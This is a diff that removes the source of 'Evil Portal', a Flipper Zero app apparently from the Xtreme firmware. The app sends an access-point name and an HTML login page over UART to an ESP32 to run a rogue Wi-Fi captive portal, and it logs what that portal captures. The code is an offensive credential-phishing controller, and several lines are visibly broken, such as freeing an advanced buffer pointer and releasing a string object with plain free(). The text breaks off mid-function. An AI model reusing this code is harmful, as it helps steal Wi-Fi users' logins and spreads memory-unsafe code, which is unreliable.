#include <gui/modules/variable_item_list.h>
|
|
||||||
#include <gui/scene_manager.h>
|
|
||||||
#include <gui/view_dispatcher.h>
|
|
||||||
#include <gui/view_stack.h>
|
|
||||||
#include <dialogs/dialogs.h>
|
|
||||||
|
|
||||||
#include <xtreme.h>
|
|
||||||
|
|
||||||
#define NUM_MENU_ITEMS (6)
|
|
||||||
|
|
||||||
#define EVIL_PORTAL_TEXT_BOX_STORE_SIZE (4096)
|
|
||||||
#define UART_CH \
|
|
||||||
(XTREME_SETTINGS()->uart_esp_channel == UARTDefault ? FuriHalUartIdUSART1 : \
|
|
||||||
FuriHalUartIdLPUART1)
|
|
||||||
|
|
||||||
#define SET_HTML_CMD "sethtml"
|
|
||||||
#define SET_AP_CMD "setap"
|
|
||||||
#define RESET_CMD "reset"
|
|
||||||
|
|
||||||
struct Evil_PortalApp {
|
|
||||||
Gui* gui;
|
|
||||||
ViewDispatcher* view_dispatcher;
|
|
||||||
SceneManager* scene_manager;
|
|
||||||
|
|
||||||
FuriString* portal_logs;
|
|
||||||
const char* command_queue[1];
|
|
||||||
int command_index;
|
|
||||||
bool has_command_queue;
|
|
||||||
|
|
||||||
FuriString* text_box_store;
|
|
||||||
size_t text_box_store_strlen;
|
|
||||||
TextBox* text_box;
|
|
||||||
|
|
||||||
VariableItemList* var_item_list;
|
|
||||||
Evil_PortalUart* uart;
|
|
||||||
TextInput* text_input;
|
|
||||||
DialogsApp* dialogs;
|
|
||||||
FuriString* file_path;
|
|
||||||
Loading* loading;
|
|
||||||
ViewStack* view_stack;
|
|
||||||
|
|
||||||
int selected_menu_index;
|
|
||||||
int selected_option_index[NUM_MENU_ITEMS];
|
|
||||||
const char* selected_tx_string;
|
|
||||||
bool is_command;
|
|
||||||
bool is_custom_tx_string;
|
|
||||||
bool focus_console_start;
|
|
||||||
bool show_stopscan_tip;
|
|
||||||
bool sent_ap;
|
|
||||||
bool sent_html;
|
|
||||||
bool sent_reset;
|
|
||||||
int BAUDRATE;
|
|
||||||
char text_store[2][128 + 1];
|
|
||||||
|
|
||||||
uint8_t* index_html;
|
|
||||||
uint8_t* ap_name;
|
|
||||||
};
|
|
||||||
|
|
||||||
typedef enum {
|
|
||||||
Evil_PortalAppViewVarItemList,
|
|
||||||
Evil_PortalAppViewConsoleOutput,
|
|
||||||
Evil_PortalAppViewStartPortal,
|
|
||||||
Evil_PortalAppViewTextInput,
|
|
||||||
} Evil_PortalAppView;
|
|
||||||
@@ -1,9 +0,0 @@
|
|||||||
#pragma once
|
|
||||||
|
|
||||||
typedef enum {
|
|
||||||
Evil_PortalEventRefreshConsoleOutput = 0,
|
|
||||||
Evil_PortalEventStartConsole,
|
|
||||||
Evil_PortalEventStartKeyboard,
|
|
||||||
Evil_PortalEventStartPortal,
|
|
||||||
Evil_PortalEventTextInput,
|
|
||||||
} Evil_PortalCustomEvent;
|
|
||||||
157
applications/external/evil_portal/evil_portal_uart.c
vendored
@@ -1,157 +0,0 @@
|
|||||||
#include "evil_portal_app_i.h"
|
|
||||||
#include "evil_portal_uart.h"
|
|
||||||
#include "helpers/evil_portal_storage.h"
|
|
||||||
|
|
||||||
struct Evil_PortalUart {
|
|
||||||
Evil_PortalApp* app;
|
|
||||||
FuriThread* rx_thread;
|
|
||||||
FuriStreamBuffer* rx_stream;
|
|
||||||
uint8_t rx_buf[RX_BUF_SIZE + 1];
|
|
||||||
void (*handle_rx_data_cb)(uint8_t* buf, size_t len, void* context);
|
|
||||||
};
|
|
||||||
|
|
||||||
typedef enum {
|
|
||||||
WorkerEvtStop = (1 << 0),
|
|
||||||
WorkerEvtRxDone = (1 << 1),
|
|
||||||
} WorkerEvtFlags;
|
|
||||||
|
|
||||||
void evil_portal_uart_set_handle_rx_data_cb(
|
|
||||||
Evil_PortalUart* uart,
|
|
||||||
void (*handle_rx_data_cb)(uint8_t* buf, size_t len, void* context)) {
|
|
||||||
furi_assert(uart);
|
|
||||||
uart->handle_rx_data_cb = handle_rx_data_cb;
|
|
||||||
}
|
|
||||||
|
|
||||||
#define WORKER_ALL_RX_EVENTS (WorkerEvtStop | WorkerEvtRxDone)
|
|
||||||
|
|
||||||
void evil_portal_uart_on_irq_cb(UartIrqEvent ev, uint8_t data, void* context) {
|
|
||||||
Evil_PortalUart* uart = (Evil_PortalUart*)context;
|
|
||||||
|
|
||||||
if(ev == UartIrqEventRXNE) {
|
|
||||||
furi_stream_buffer_send(uart->rx_stream, &data, 1, 0);
|
|
||||||
furi_thread_flags_set(furi_thread_get_id(uart->rx_thread), WorkerEvtRxDone);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
static int32_t uart_worker(void* context) {
|
|
||||||
Evil_PortalUart* uart = (void*)context;
|
|
||||||
|
|
||||||
while(1) {
|
|
||||||
uint32_t events =
|
|
||||||
furi_thread_flags_wait(WORKER_ALL_RX_EVENTS, FuriFlagWaitAny, FuriWaitForever);
|
|
||||||
furi_check((events & FuriFlagError) == 0);
|
|
||||||
if(events & WorkerEvtStop) break;
|
|
||||||
if(events & WorkerEvtRxDone) {
|
|
||||||
size_t len = furi_stream_buffer_receive(uart->rx_stream, uart->rx_buf, RX_BUF_SIZE, 0);
|
|
||||||
|
|
||||||
if(len > 0) {
|
|
||||||
if(uart->handle_rx_data_cb) {
|
|
||||||
uart->handle_rx_data_cb(uart->rx_buf, len, uart->app);
|
|
||||||
|
|
||||||
if(uart->app->has_command_queue) {
|
|
||||||
if(uart->app->command_index < 1) {
|
|
||||||
if(0 == strncmp(
|
|
||||||
SET_AP_CMD,
|
|
||||||
uart->app->command_queue[uart->app->command_index],
|
|
||||||
strlen(SET_AP_CMD))) {
|
|
||||||
FuriString* out_data = furi_string_alloc();
|
|
||||||
|
|
||||||
furi_string_cat(out_data, "setap=");
|
|
||||||
furi_string_cat(out_data, (char*)uart->app->ap_name);
|
|
||||||
|
|
||||||
evil_portal_uart_tx(
|
|
||||||
(uint8_t*)(furi_string_get_cstr(out_data)),
|
|
||||||
strlen(furi_string_get_cstr(out_data)));
|
|
||||||
evil_portal_uart_tx((uint8_t*)("\n"), 1);
|
|
||||||
|
|
||||||
uart->app->sent_ap = true;
|
|
||||||
|
|
||||||
free(out_data);
|
|
||||||
free(uart->app->ap_name);
|
|
||||||
}
|
|
||||||
|
|
||||||
uart->app->command_index = 0;
|
|
||||||
uart->app->has_command_queue = false;
|
|
||||||
uart->app->command_queue[0] = "";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if(uart->app->sent_reset == false) {
|
|
||||||
furi_string_cat(uart->app->portal_logs, (char*)uart->rx_buf);
|
|
||||||
}
|
|
||||||
|
|
||||||
if(furi_string_utf8_length(uart->app->portal_logs) > 4000) {
|
|
||||||
write_logs(uart->app->portal_logs);
|
|
||||||
furi_string_reset(uart->app->portal_logs);
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
uart->rx_buf[len] = '\0';
|
|
||||||
if(uart->app->sent_reset == false) {
|
|
||||||
furi_string_cat(uart->app->portal_logs, (char*)uart->rx_buf);
|
|
||||||
}
|
|
||||||
|
|
||||||
if(furi_string_utf8_length(uart->app->portal_logs) > 4000) {
|
|
||||||
write_logs(uart->app->portal_logs);
|
|
||||||
furi_string_reset(uart->app->portal_logs);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
furi_hal_uart_set_irq_cb(UART_CH, NULL, NULL);
|
|
||||||
furi_stream_buffer_free(uart->rx_stream);
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
void evil_portal_uart_tx(uint8_t* data, size_t len) {
|
|
||||||
furi_hal_uart_tx(UART_CH, data, len);
|
|
||||||
}
|
|
||||||
|
|
||||||
Evil_PortalUart* evil_portal_uart_init(Evil_PortalApp* app) {
|
|
||||||
Evil_PortalUart* uart = malloc(sizeof(Evil_PortalUart));
|
|
||||||
uart->app = app;
|
|
||||||
// Init all rx stream and thread early to avoid crashes
|
|
||||||
uart->rx_stream = furi_stream_buffer_alloc(RX_BUF_SIZE, 1);
|
|
||||||
uart->rx_thread = furi_thread_alloc();
|
|
||||||
furi_thread_set_name(uart->rx_thread, "Evil_PortalUartRxThread");
|
|
||||||
furi_thread_set_stack_size(uart->rx_thread, 1024);
|
|
||||||
furi_thread_set_context(uart->rx_thread, uart);
|
|
||||||
furi_thread_set_callback(uart->rx_thread, uart_worker);
|
|
||||||
|
|
||||||
furi_thread_start(uart->rx_thread);
|
|
||||||
|
|
||||||
if(UART_CH == FuriHalUartIdUSART1) {
|
|
||||||
furi_hal_console_disable();
|
|
||||||
} else if(UART_CH == FuriHalUartIdLPUART1) {
|
|
||||||
furi_hal_uart_init(UART_CH, app->BAUDRATE);
|
|
||||||
}
|
|
||||||
|
|
||||||
if(app->BAUDRATE == 0) {
|
|
||||||
app->BAUDRATE = 115200;
|
|
||||||
}
|
|
||||||
|
|
||||||
furi_hal_uart_set_br(UART_CH, app->BAUDRATE);
|
|
||||||
furi_hal_uart_set_irq_cb(UART_CH, evil_portal_uart_on_irq_cb, uart);
|
|
||||||
|
|
||||||
evil_portal_uart_tx((uint8_t*)("XFW#EVILPORTAL=1\n"), strlen("XFW#EVILPORTAL=1\n"));
|
|
||||||
|
|
||||||
return uart;
|
|
||||||
}
|
|
||||||
|
|
||||||
void evil_portal_uart_free(Evil_PortalUart* uart) {
|
|
||||||
furi_assert(uart);
|
|
||||||
|
|
||||||
furi_thread_flags_set(furi_thread_get_id(uart->rx_thread), WorkerEvtStop);
|
|
||||||
furi_thread_join(uart->rx_thread);
|
|
||||||
furi_thread_free(uart->rx_thread);
|
|
||||||
|
|
||||||
if(UART_CH == FuriHalUartIdLPUART1) {
|
|
||||||
furi_hal_uart_deinit(UART_CH);
|
|
||||||
} else {
|
|
||||||
furi_hal_console_enable();
|
|
||||||
}
|
|
||||||
|
|
||||||
free(uart);
|
|
||||||
}
|
|
||||||
@@ -1,14 +0,0 @@
|
|||||||
#pragma once
|
|
||||||
|
|
||||||
#include "furi_hal.h"
|
|
||||||
|
|
||||||
#define RX_BUF_SIZE (320)
|
|
||||||
|
|
||||||
typedef struct Evil_PortalUart Evil_PortalUart;
|
|
||||||
|
|
||||||
void evil_portal_uart_set_handle_rx_data_cb(
|
|
||||||
Evil_PortalUart* uart,
|
|
||||||
void (*handle_rx_data_cb)(uint8_t* buf, size_t len, void* context));
|
|
||||||
void evil_portal_uart_tx(uint8_t* data, size_t len);
|
|
||||||
Evil_PortalUart* evil_portal_uart_init(Evil_PortalApp* app);
|
|
||||||
void evil_portal_uart_free(Evil_PortalUart* uart);
|
|
||||||
@@ -1,163 +0,0 @@
|
|||||||
#include "evil_portal_storage.h"
|
|
||||||
|
|
||||||
static Storage* evil_portal_open_storage() {
|
|
||||||
return furi_record_open(RECORD_STORAGE);
|
|
||||||
}
|
|
||||||
|
|
||||||
static void evil_portal_close_storage() {
|
|
||||||
furi_record_close(RECORD_STORAGE);
|
|
||||||
}
|
|
||||||
|
|
||||||
void evil_portal_read_index_html(void* context) {
|
|
||||||
Evil_PortalApp* app = context;
|
|
||||||
Storage* storage = evil_portal_open_storage();
|
|
||||||
FileInfo fi;
|
|
||||||
|
|
||||||
if(!storage_common_exists(storage, EVIL_PORTAL_INDEX_SAVE_PATH)) {
|
|
||||||
FuriString* tmp = furi_string_alloc_set(EVIL_PORTAL_INDEX_DEFAULT_PATH);
|
|
||||||
evil_portal_replace_index_html(tmp);
|
|
||||||
furi_string_free(tmp);
|
|
||||||
}
|
|
||||||
|
|
||||||
if(storage_common_stat(storage, EVIL_PORTAL_INDEX_SAVE_PATH, &fi) == FSE_OK) {
|
|
||||||
File* index_html = storage_file_alloc(storage);
|
|
||||||
if(storage_file_open(
|
|
||||||
index_html, EVIL_PORTAL_INDEX_SAVE_PATH, FSAM_READ, FSOM_OPEN_EXISTING)) {
|
|
||||||
app->index_html = malloc((size_t)fi.size);
|
|
||||||
uint8_t* buf_ptr = app->index_html;
|
|
||||||
size_t read = 0;
|
|
||||||
while(read < fi.size) {
|
|
||||||
size_t to_read = fi.size - read;
|
|
||||||
if(to_read > UINT16_MAX) to_read = UINT16_MAX;
|
|
||||||
uint16_t now_read = storage_file_read(index_html, buf_ptr, (uint16_t)to_read);
|
|
||||||
read += now_read;
|
|
||||||
buf_ptr += now_read;
|
|
||||||
}
|
|
||||||
free(buf_ptr);
|
|
||||||
}
|
|
||||||
storage_file_close(index_html);
|
|
||||||
storage_file_free(index_html);
|
|
||||||
} else {
|
|
||||||
char* html_error = "<b>Evil portal</b><br>Unable to read the html file.<br>"
|
|
||||||
"Is the SD Card set up correctly? <br>See instructions @ "
|
|
||||||
"github.com/bigbrodude6119/flipper-zero-evil-portal<br>"
|
|
||||||
"Under the 'Install pre-built app on the flipper' section.";
|
|
||||||
app->index_html = (uint8_t*)html_error;
|
|
||||||
}
|
|
||||||
|
|
||||||
evil_portal_close_storage();
|
|
||||||
}
|
|
||||||
|
|
||||||
void evil_portal_replace_index_html(FuriString* path) {
|
|
||||||
Storage* storage = evil_portal_open_storage();
|
|
||||||
FS_Error error;
|
|
||||||
error = storage_common_remove(storage, EVIL_PORTAL_INDEX_SAVE_PATH);
|
|
||||||
if(error != FSE_OK) {
|
|
||||||
FURI_LOG_D("EVIL PORTAL", "Error removing file");
|
|
||||||
} else {
|
|
||||||
FURI_LOG_D("EVIL PORTAL", "Error removed file");
|
|
||||||
}
|
|
||||||
error = storage_common_copy(storage, furi_string_get_cstr(path), EVIL_PORTAL_INDEX_SAVE_PATH);
|
|
||||||
if(error != FSE_OK) {
|
|
||||||
FURI_LOG_D("EVIL PORTAL", "Error copying file");
|
|
||||||
}
|
|
||||||
evil_portal_close_storage();
|
|
||||||
}
|
|
||||||
|
|
||||||
void evil_portal_create_html_folder_if_not_exists() {
|
|
||||||
Storage* storage = evil_portal_open_storage();
|
|
||||||
if(storage_common_stat(storage, HTML_FOLDER, NULL) == FSE_NOT_EXIST) {
|
|
||||||
FURI_LOG_D("Evil Portal", "Directory %s doesn't exist. Will create new.", HTML_FOLDER);
|
|
||||||
if(!storage_simply_mkdir(storage, HTML_FOLDER)) {
|
|
||||||
FURI_LOG_E("Evil Portal", "Error creating directory %s", HTML_FOLDER);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
evil_portal_close_storage();
|
|
||||||
}
|
|
||||||
|
|
||||||
void evil_portal_read_ap_name(void* context) {
|
|
||||||
Evil_PortalApp* app = context;
|
|
||||||
Storage* storage = evil_portal_open_storage();
|
|
||||||
FileInfo fi;
|
|
||||||
|
|
||||||
if(storage_common_stat(storage, EVIL_PORTAL_AP_SAVE_PATH, &fi) == FSE_OK) {
|
|
||||||
File* ap_name = storage_file_alloc(storage);
|
|
||||||
if(storage_file_open(ap_name, EVIL_PORTAL_AP_SAVE_PATH, FSAM_READ, FSOM_OPEN_EXISTING)) {
|
|
||||||
app->ap_name = malloc((size_t)fi.size);
|
|
||||||
uint8_t* buf_ptr = app->ap_name;
|
|
||||||
size_t read = 0;
|
|
||||||
while(read < fi.size) {
|
|
||||||
size_t to_read = fi.size - read;
|
|
||||||
if(to_read > UINT16_MAX) to_read = UINT16_MAX;
|
|
||||||
uint16_t now_read = storage_file_read(ap_name, buf_ptr, (uint16_t)to_read);
|
|
||||||
read += now_read;
|
|
||||||
buf_ptr += now_read;
|
|
||||||
}
|
|
||||||
free(buf_ptr);
|
|
||||||
}
|
|
||||||
storage_file_close(ap_name);
|
|
||||||
storage_file_free(ap_name);
|
|
||||||
} else {
|
|
||||||
char* app_default = "Evil Portal";
|
|
||||||
app->ap_name = (uint8_t*)app_default;
|
|
||||||
}
|
|
||||||
evil_portal_close_storage();
|
|
||||||
}
|
|
||||||
|
|
||||||
void evil_portal_write_ap_name(void* context) {
|
|
||||||
Evil_PortalApp* app = context;
|
|
||||||
Storage* storage = evil_portal_open_storage();
|
|
||||||
|
|
||||||
File* ap_name = storage_file_alloc(storage);
|
|
||||||
if(storage_file_open(ap_name, EVIL_PORTAL_AP_SAVE_PATH, FSAM_WRITE, FSOM_CREATE_ALWAYS)) {
|
|
||||||
storage_file_write(ap_name, app->text_store[0], strlen(app->text_store[0]));
|
|
||||||
}
|
|
||||||
storage_file_close(ap_name);
|
|
||||||
storage_file_free(ap_name);
|
|
||||||
evil_portal_close_storage();
|
|
||||||
}
|
|
||||||
|
|
||||||
char* sequential_file_resolve_path(
|
|
||||||
Storage* storage,
|
|
||||||
const char* dir,
|
|
||||||
const char* prefix,
|
|
||||||
const char* extension) {
|
|
||||||
if(storage == NULL || dir == NULL || prefix == NULL || extension == NULL) {
|
|
||||||
return NULL;
|
|
||||||
}
|
|
||||||
|
|
||||||
char file_path[256];
|
|
||||||
int file_index = 0;
|
|
||||||
|
|
||||||
do {
|
|
||||||
if(snprintf(
|
|
||||||
file_path, sizeof(file_path), "%s/%s_%d.%s", dir, prefix, file_index, extension) <
|
|
||||||
0) {
|
|
||||||
return NULL;
|
|
||||||
}
|
|
||||||
file_index++;
|
|
||||||
} while(storage_file_exists(storage, file_path));
|
|
||||||
|
|
||||||
return strdup(file_path);
|
|
||||||
}
|
|
||||||
|
|
||||||
void write_logs(FuriString* portal_logs) {
|
|
||||||
Storage* storage = evil_portal_open_storage();
|
|
||||||
|
|
||||||
if(!storage_file_exists(storage, EVIL_PORTAL_LOG_SAVE_PATH)) {
|
|
||||||
storage_simply_mkdir(storage, EVIL_PORTAL_LOG_SAVE_PATH);
|
|
||||||
}
|
|
||||||
|
|
||||||
char* seq_file_path =
|
|
||||||
sequential_file_resolve_path(storage, EVIL_PORTAL_LOG_SAVE_PATH, "log", "txt");
|
|
||||||
|
|
||||||
File* file = storage_file_alloc(storage);
|
|
||||||
|
|
||||||
if(storage_file_open(file, seq_file_path, FSAM_WRITE, FSOM_CREATE_ALWAYS)) {
|
|
||||||
storage_file_write(
|
|
||||||
file, furi_string_get_cstr(portal_logs), furi_string_utf8_length(portal_logs));
|
|
||||||
}
|
|
||||||
storage_file_close(file);
|
|
||||||
storage_file_free(file);
|
|
||||||
evil_portal_close_storage();
|
|
||||||
}
|
|
||||||
@@ -1,26 +0,0 @@
|
|||||||
#include "../evil_portal_app_i.h"
|
|
||||||
#include <flipper_format/flipper_format_i.h>
|
|
||||||
#include <lib/toolbox/stream/file_stream.h>
|
|
||||||
#include <stdlib.h>
|
|
||||||
#include <storage/storage.h>
|
|
||||||
#include <string.h>
|
|
||||||
|
|
||||||
#define PORTAL_FILE_DIRECTORY_PATH EXT_PATH("apps_data/evil_portal")
|
|
||||||
#define HTML_EXTENSION ".html"
|
|
||||||
#define HTML_FOLDER PORTAL_FILE_DIRECTORY_PATH "/html"
|
|
||||||
#define EVIL_PORTAL_INDEX_SAVE_PATH PORTAL_FILE_DIRECTORY_PATH "/index.html"
|
|
||||||
#define EVIL_PORTAL_INDEX_DEFAULT_PATH HTML_FOLDER "/xtreme.html"
|
|
||||||
#define EVIL_PORTAL_AP_SAVE_PATH PORTAL_FILE_DIRECTORY_PATH "/ap.config.txt"
|
|
||||||
#define EVIL_PORTAL_LOG_SAVE_PATH PORTAL_FILE_DIRECTORY_PATH "/logs"
|
|
||||||
|
|
||||||
void evil_portal_read_index_html(void* context);
|
|
||||||
void evil_portal_read_ap_name(void* context);
|
|
||||||
void evil_portal_write_ap_name(void* context);
|
|
||||||
void evil_portal_replace_index_html(FuriString* path);
|
|
||||||
void evil_portal_create_html_folder_if_not_exists();
|
|
||||||
void write_logs(FuriString* portal_logs);
|
|
||||||
char* sequential_file_resolve_path(
|
|
||||||
Storage* storage,
|
|
||||||
const char* dir,
|
|
||||||
const char* prefix,
|
|
||||||
const char* extension);
|
|
||||||
|
Before Width: | Height: | Size: 156 B |
@@ -1,30 +0,0 @@
|
|||||||
#include "evil_portal_scene.h"
|
|
||||||
|
|
||||||
// Generate scene on_enter handlers array
|
|
||||||
#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter,
|
|
||||||
void (*const evil_portal_scene_on_enter_handlers[])(void*) = {
|
|
||||||
#include "evil_portal_scene_config.h"
|
|
||||||
};
|
|
||||||
#undef ADD_SCENE
|
|
||||||
|
|
||||||
// Generate scene on_event handlers array
|
|
||||||
#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event,
|
|
||||||
bool (*const evil_portal_scene_on_event_handlers[])(void* context, SceneManagerEvent event) = {
|
|
||||||
#include "evil_portal_scene_config.h"
|
|
||||||
};
|
|
||||||
#undef ADD_SCENE
|
|
||||||
|
|
||||||
// Generate scene on_exit handlers array
|
|
||||||
#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit,
|
|
||||||
void (*const evil_portal_scene_on_exit_handlers[])(void* context) = {
|
|
||||||
#include "evil_portal_scene_config.h"
|
|
||||||
};
|
|
||||||
#undef ADD_SCENE
|
|
||||||
|
|
||||||
// Initialize scene handlers configuration structure
|
|
||||||
const SceneManagerHandlers evil_portal_scene_handlers = {
|
|
||||||
.on_enter_handlers = evil_portal_scene_on_enter_handlers,
|
|
||||||
.on_event_handlers = evil_portal_scene_on_event_handlers,
|
|
||||||
.on_exit_handlers = evil_portal_scene_on_exit_handlers,
|
|
||||||
.scene_num = Evil_PortalSceneNum,
|
|
||||||
};
|
|
||||||
@@ -1,29 +0,0 @@
|
|||||||
#pragma once
|
|
||||||
|
|
||||||
#include <gui/scene_manager.h>
|
|
||||||
|
|
||||||
// Generate scene id and total number
|
|
||||||
#define ADD_SCENE(prefix, name, id) Evil_PortalScene##id,
|
|
||||||
typedef enum {
|
|
||||||
#include "evil_portal_scene_config.h"
|
|
||||||
Evil_PortalSceneNum,
|
|
||||||
} Evil_PortalScene;
|
|
||||||
#undef ADD_SCENE
|
|
||||||
|
|
||||||
extern const SceneManagerHandlers evil_portal_scene_handlers;
|
|
||||||
|
|
||||||
// Generate scene on_enter handlers declaration
|
|
||||||
#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*);
|
|
||||||
#include "evil_portal_scene_config.h"
|
|
||||||
#undef ADD_SCENE
|
|
||||||
|
|
||||||
// Generate scene on_event handlers declaration
|
|
||||||
#define ADD_SCENE(prefix, name, id) \
|
|
||||||
bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event);
|
|
||||||
#include "evil_portal_scene_config.h"
|
|
||||||
#undef ADD_SCENE
|
|
||||||
|
|
||||||
// Generate scene on_exit handlers declaration
|
|
||||||
#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context);
|
|
||||||
#include "evil_portal_scene_config.h"
|
|
||||||
#undef ADD_SCENE
|
|
||||||
@@ -1,4 +0,0 @@
|
|||||||
ADD_SCENE(evil_portal, start, Start)
|
|
||||||
ADD_SCENE(evil_portal, console_output, ConsoleOutput)
|
|
||||||
ADD_SCENE(evil_portal, rename, Rename)
|
|
||||||
ADD_SCENE(evil_portal, select_html, SelectHtml)
|
|
||||||
@@ -1,157 +0,0 @@
|
|||||||
#include "../evil_portal_app_i.h"
|
|
||||||
#include "../helpers/evil_portal_storage.h"
|
|
||||||
|
|
||||||
void evil_portal_console_output_handle_rx_data_cb(uint8_t* buf, size_t len, void* context) {
|
|
||||||
furi_assert(context);
|
|
||||||
Evil_PortalApp* app = context;
|
|
||||||
|
|
||||||
// If text box store gets too big, then truncate it
|
|
||||||
app->text_box_store_strlen += len;
|
|
||||||
if(app->text_box_store_strlen >= EVIL_PORTAL_TEXT_BOX_STORE_SIZE - 1) {
|
|
||||||
furi_string_right(app->text_box_store, app->text_box_store_strlen / 2);
|
|
||||||
app->text_box_store_strlen = furi_string_size(app->text_box_store) + len;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Null-terminate buf and append to text box store
|
|
||||||
buf[len] = '\0';
|
|
||||||
furi_string_cat_printf(app->text_box_store, "%s", buf);
|
|
||||||
|
|
||||||
view_dispatcher_send_custom_event(app->view_dispatcher, Evil_PortalEventRefreshConsoleOutput);
|
|
||||||
}
|
|
||||||
|
|
||||||
void evil_portal_scene_console_output_on_enter(void* context) {
|
|
||||||
Evil_PortalApp* app = context;
|
|
||||||
|
|
||||||
TextBox* text_box = app->text_box;
|
|
||||||
text_box_reset(app->text_box);
|
|
||||||
text_box_set_font(text_box, TextBoxFontText);
|
|
||||||
if(app->focus_console_start) {
|
|
||||||
text_box_set_focus(text_box, TextBoxFocusStart);
|
|
||||||
} else {
|
|
||||||
text_box_set_focus(text_box, TextBoxFocusEnd);
|
|
||||||
}
|
|
||||||
|
|
||||||
if(app->is_command) {
|
|
||||||
furi_string_reset(app->text_box_store);
|
|
||||||
app->text_box_store_strlen = 0;
|
|
||||||
app->sent_reset = false;
|
|
||||||
|
|
||||||
if(0 == strncmp("help", app->selected_tx_string, strlen("help"))) {
|
|
||||||
const char* help_msg = "BLUE = Waiting\nGREEN = Good\nRED = Bad\n\nThis project is a "
|
|
||||||
"WIP.\ngithub.com/bigbrodude6119/flipper-zero-evil-portal\n\n"
|
|
||||||
"Version 0.0.2\n\n";
|
|
||||||
furi_string_cat_str(app->text_box_store, help_msg);
|
|
||||||
app->text_box_store_strlen += strlen(help_msg);
|
|
||||||
if(app->show_stopscan_tip) {
|
|
||||||
const char* msg = "Press BACK to return\n";
|
|
||||||
furi_string_cat_str(app->text_box_store, msg);
|
|
||||||
app->text_box_store_strlen += strlen(msg);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if(0 == strncmp("savelogs", app->selected_tx_string, strlen("savelogs"))) {
|
|
||||||
const char* help_msg = "Logs saved.\n\n";
|
|
||||||
furi_string_cat_str(app->text_box_store, help_msg);
|
|
||||||
app->text_box_store_strlen += strlen(help_msg);
|
|
||||||
write_logs(app->portal_logs);
|
|
||||||
furi_string_reset(app->portal_logs);
|
|
||||||
if(app->show_stopscan_tip) {
|
|
||||||
const char* msg = "Press BACK to return\n";
|
|
||||||
furi_string_cat_str(app->text_box_store, msg);
|
|
||||||
app->text_box_store_strlen += strlen(msg);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if(0 == strncmp("setapname", app->selected_tx_string, strlen("setapname"))) {
|
|
||||||
scene_manager_next_scene(app->scene_manager, Evil_PortalSceneRename);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
if(0 == strncmp("selecthtml", app->selected_tx_string, strlen("selecthtml"))) {
|
|
||||||
scene_manager_next_scene(app->scene_manager, Evil_PortalSceneSelectHtml);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
if(0 == strncmp(SET_HTML_CMD, app->selected_tx_string, strlen(SET_HTML_CMD))) {
|
|
||||||
app->command_queue[0] = SET_AP_CMD;
|
|
||||||
app->has_command_queue = true;
|
|
||||||
app->command_index = 0;
|
|
||||||
if(app->show_stopscan_tip) {
|
|
||||||
const char* msg = "Starting portal\nIf no response press\nBACK to return\n";
|
|
||||||
furi_string_cat_str(app->text_box_store, msg);
|
|
||||||
app->text_box_store_strlen += strlen(msg);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if(0 == strncmp(RESET_CMD, app->selected_tx_string, strlen(RESET_CMD))) {
|
|
||||||
app->sent_reset = true;
|
|
||||||
if(app->show_stopscan_tip) {
|
|
||||||
const char* msg = "Reseting portal\nPress BACK to return\n\n\n\n";
|
|
||||||
furi_string_cat_str(app->text_box_store, msg);
|
|
||||||
app->text_box_store_strlen += strlen(msg);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
text_box_set_text(app->text_box, furi_string_get_cstr(app->text_box_store));
|
|
||||||
|
|
||||||
scene_manager_set_scene_state(app->scene_manager, Evil_PortalSceneConsoleOutput, 0);
|
|
||||||
view_dispatcher_switch_to_view(app->view_dispatcher, Evil_PortalAppViewConsoleOutput);
|
|
||||||
|
|
||||||
// Register callback to receive data
|
|
||||||
evil_portal_uart_set_handle_rx_data_cb(
|
|
||||||
app->uart, evil_portal_console_output_handle_rx_data_cb);
|
|
||||||
|
|
||||||
if(app->is_command && app->selected_tx_string) {
|
|
||||||
if(0 == strncmp(SET_HTML_CMD, app->selected_tx_string, strlen(SET_HTML_CMD))) {
|
|
||||||
evil_portal_read_index_html(context);
|
|
||||||
|
|
||||||
FuriString* data = furi_string_alloc();
|
|
||||||
furi_string_cat(data, "sethtml=");
|
|
||||||
furi_string_cat(data, (char*)app->index_html);
|
|
||||||
|
|
||||||
evil_portal_uart_tx(
|
|
||||||
(uint8_t*)(furi_string_get_cstr(data)), strlen(furi_string_get_cstr(data)));
|
|
||||||
evil_portal_uart_tx((uint8_t*)("\n"), 1);
|
|
||||||
|
|
||||||
app->sent_html = true;
|
|
||||||
|
|
||||||
free(data);
|
|
||||||
free(app->index_html);
|
|
||||||
|
|
||||||
evil_portal_read_ap_name(context);
|
|
||||||
} else if(0 == strncmp(RESET_CMD, app->selected_tx_string, strlen(RESET_CMD))) {
|
|
||||||
app->sent_html = false;
|
|
||||||
app->sent_ap = false;
|
|
||||||
evil_portal_uart_tx(
|
|
||||||
(uint8_t*)(app->selected_tx_string), strlen(app->selected_tx_string));
|
|
||||||
evil_portal_uart_tx((uint8_t*)("\n"), 1);
|
|
||||||
} else if(1 == strncmp("help", app->selected_tx_string, strlen("help"))) {
|
|
||||||
evil_portal_uart_tx(
|
|
||||||
(uint8_t*)(app->selected_tx_string), strlen(app->selected_tx_string));
|
|
||||||
evil_portal_uart_tx((uint8_t*)("\n"), 1);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
bool evil_portal_scene_console_output_on_event(void* context, SceneManagerEvent event) {
|
|
||||||
